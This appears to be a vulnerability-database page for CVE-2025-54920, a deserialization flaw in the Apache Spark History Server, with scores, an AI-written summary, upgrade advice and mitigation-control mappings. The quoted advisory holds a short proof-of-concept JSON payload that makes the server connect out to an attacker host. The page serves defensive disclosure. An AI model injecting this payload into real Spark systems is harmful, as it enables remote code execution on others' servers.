Raw vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HSummary
CVE-2025-54920 is a high-severity Deserialization of Untrusted Data (CWE-502) vulnerability in Apache Spark. Its CVSS base score is 8.8 (High).
Operationally, exploitation aligns with the MITRE ATT&CK technique Exploit Public-Facing Application (T1190); ranked in the top 8% of CVEs by exploit likelihood; it is not currently listed in the CISA KEV catalog; a public proof-of-concept is referenced.
The strongest mitigations our analysis identified map to SA-11 (Developer Testing and Evaluation) and SI-10 (Information Input Validation) — see the control section below for these in your framework.
Deeper analysis AI-assisted summary
Synthesised by an AI model from the NVD description and linked references — a reading aid, not an authoritative source.
CVE-2025-54920 is a code execution vulnerability in the Spark History Web UI of Apache Spark versions before 3.5.7 and 4.0.1. It stems from overly permissive Jackson polymorphic deserialization of event log data using @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects. This allows attackers to specify arbitrary class names in event JSON, leading to instantiation of unintended classes during deserialization by the Spark History Server.
An attacker with write access to the Spark event logs directory can exploit this by injecting crafted JSON payloads into event log files. When the Spark History Server starts up or loads these logs, it deserializes the malicious content, enabling actions such as forcing a JDBC connection to an attacker-controlled server via classes like org.apache.hive.jdbc.HiveConnection. This results in arbitrary code execution on the host running the History Server, with a CVSS score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) and association to CWE-502.
Apache Spark advisories recommend upgrading to version 3.5.7 or 4.0.1 and above to mitigate the issue, as these versions address the deserialization flaw. Relevant patches and discussions are detailed in GitHub pull requests #51312 and #51323, JIRA ticket SPARK-52381, and announcements on Apache mailing lists and oss-security.
OWASP Top 10 for Web (2025)
EU & UK References
- 🇪🇺 ENISA EUVD: EUVD-2025-208669
Vulnerability Data
This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark…
more
History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
- CWE(s)
Related Threats
MITRE ATT&CK Enterprise Techniques
CVEs Like This One
Affected Assets
Mitigating Controls
Mitigating Controls (NIST 800-53 r5) AI
Developer testing and evaluation can uncover deserialization flaws before deployment.
Input validation directly stops deserialization of untrusted data by ensuring inputs are valid before processing.
Engineering principles such as safe deserialization and input sanitization structurally prevent the weakness from being introduced.
Integrity verification tools can detect malformed or tampered serialized data after the fact.
Mitigating Controls (NIST CSF 2.0) AI
Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→CSF cross-walk (authority under review) — links open the control.
PR.PS-02 addresses only post-deployment updates/patching and cannot prevent introduction of unsafe deserialization code, yet it can remediate some instances when the flaw exists in outdated libraries or components.
Mitigating Controls (ISO/IEC 27001:2022 Annex A) AI
Derived directly from the weakness types (CWEs) cited in the NVD entry via our AI-authored CWE→ISO cross-walk (authority under review) — links open the control.
Security testing includes validation of deserialization routines and the use of untrusted data, reducing the likelihood that unsafe object reconstruction will be deployed.
Requiring vetted libraries, regular updates and SAST before release reduces the likelihood that deserialization logic will accept and act on attacker-controlled serialized objects.
Regular scanning of third-party libraries and timely patching reduce the likelihood that unsafe deserialization vulnerabilities remain active.
Mandatory malware scanning of data received over networks or storage media intercepts malicious serialized payloads before they are deserialized by the target application.